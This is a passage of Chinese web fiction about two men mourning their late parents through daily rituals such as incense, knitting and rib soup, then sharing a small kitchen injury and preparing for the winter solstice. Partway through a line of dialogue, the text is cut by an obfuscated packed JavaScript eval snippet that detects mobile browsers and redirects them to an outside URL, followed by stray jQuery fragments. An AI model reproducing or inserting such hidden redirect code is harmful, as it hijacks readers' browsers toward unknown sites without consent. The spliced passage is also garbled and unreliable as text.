从寺庙回来之后，苌斓养成了一个新习惯。每天傍晚他都会在茶几上点一炷香，不是祭拜，不是许愿，只是点着，然后坐在沙发上绕那团灰色毛线。香燃尽的时间大约是四十分钟，刚好够他绕完一团线，或者织完围巾的两行。他说这叫“陪他们坐一会儿”——父亲坐在他左手边看报纸，母亲坐在他右手边织毛衣，忘海的养母靠在沙发上打盹，忘海的父亲在茶几对面写配方。四个人都不说话，但都在。忘海问他要不要也点一炷，他说不用，他陪着你，你陪着他们，我在旁边画图，刚好。
有一天傍晚，苌斓照常点了一炷香，把毛线团放在膝盖上。他忽然停下来，从抽屉里拿出那张拼好的购物小票——红糖、红枣、桂圆、枸杞、牛奶两盒、薯片一包，母亲用指甲一道一道画出的痕迹被透明胶带封得严严实实，像一片保存在琥珀里的叶子。他把小票翻过来，背面是空白的。他拿起笔，在母亲的字迹下面写了几个字。忘海从图纸上抬起头，问他在写什么，他说没什么，然后把小票翻过去压在香炉下面。
香燃尽了，他把毛线团收进针线盒里，把小票放回抽屉。忘海没有追问，只是去厨房把灶台上的排骨汤盛了两碗，一碗放在苌斓面前，一碗放在自己面前。汤是昨天炖的，当归和黄芪的比例刚好，和以前每一次一样。
清明过去之后，日子又回到了寻常的节奏里。忘海的失眠渐渐好了，不再需要数苌斓的呼吸才能入睡；苌斓也不再在茶几上点香——他说不用了，他们不在香炉里，在灶台上的排骨汤里，在针线盒的灰色毛线里，在每天早上豆浆机的嗡鸣声里。
其实即使没有那些念想，他们也早已活成了那些逝去的人的模样。苌斓炖的排骨汤，当归和黄芪的比例和忘海养母当年教的一模一样；他织的围巾针脚已经整齐了许多，虽然收尾时还是会织错两针。以前忘海说他，他就说这是风格——第一针和最后一针永远不一样。现在不用忘海说，他自己拆掉重来，对着灯光把每一针都挑得整整齐齐，然后满意地放到一边，说这条是给你妈织的。忘海说，她喜欢歪的。苌斓说，她那是安慰你。两个人对视了一下，都没忍住笑了。他们终于可以笑着提起那些人了——不是忘记，是放下了。
熬过了那么多苦难，他们的日子终于变得很轻很轻。但也不是没有小意外。前几天切菜时菜刀滑了一下，刀刃擦过苌斓左手的虎口，留下一道浅浅的口子。血渗出来时忘海正在客厅画图，听到厨房里“嘶”的一声，他放下笔走进厨房。苌斓正用右手捏着左手虎口，血从指缝里往外渗，滴在切了一半的胡萝卜上。忘海没有说话，只是从急救箱里拿出碘伏和创可贴，把他拉到水龙头前冲洗伤口，用棉签蘸了碘伏轻轻涂在伤口上，然后撕开一片创可贴贴在虎口上，用手在创可贴边缘按了按，确保贴牢了。整个过程动作很稳，和当年缝袖口时一样，和在天台上按住他流血的伤口时一样。
苌斓低头看着虎口上那片创可贴。他想起忘海虎口上也有一道疤，是切核桃时留下的，浅白色，还在。现在他也有一道了，也在虎口，也是切东西留下的。他抬起手对着灯光看了看。“现在对称了。你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724410|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的左手，我的左手。都是虎口，都是疤。”忘海把自己的左手摊开，和苌斓的左手并排放在一起。两道疤，一道旧，一道新，都在同一个位置。他把苌斓的手握紧，然后把创可贴的包装纸扔进垃圾桶。“以后对称的事别用刀，换个方式。”
“用什么方式。”
“用围巾。你织一条，我织一条。你织错两针，我也织错两针。”
“你织得太整齐，不会错。”
“那我故意织错。”
这就是他们现在的生活。明天就是冬至，苌斓在厨房里包饺子，芹菜馅的，和当年他母亲包的一模一样。忘海站在旁边擀皮，和当年他父亲擀皮时一模一样。灶台上的水烧开了，咕嘟咕嘟冒着热气。客厅的茶几上放着两个保温杯，一个深蓝一个浅蓝，杯盖上的磕痕还在。紫砂杯安静地立在杯垫上，杯口朝外，杯身上那些胶水粘合的裂缝在灯光下泛着极淡的光泽。针线盒里的灰色毛线团还剩一半，相册放在抽屉里，戒指戴在无名指上，购物小票压在香炉下面。排骨汤在灶台上温着，红枣茶在保温杯里热着，围巾挂在衣架上，两条叠在一起分不清哪条是谁的。
明天早上豆浆机还是会准时响起，保温杯里还是会放八颗红枣。他们还会并肩走过那条梧桐道，和以前一样。清明过去了，冬至要来了，梧桐叶落了又会长新的。那些离开的人没有真的离开——他们活在每一次加凉水的瞬间，活在每一勺红糖的甜度里，活在每一针歪歪扭扭的针脚里。而他们两个，会带着这些痕迹，继续走过今后的每一个春夏秋冬。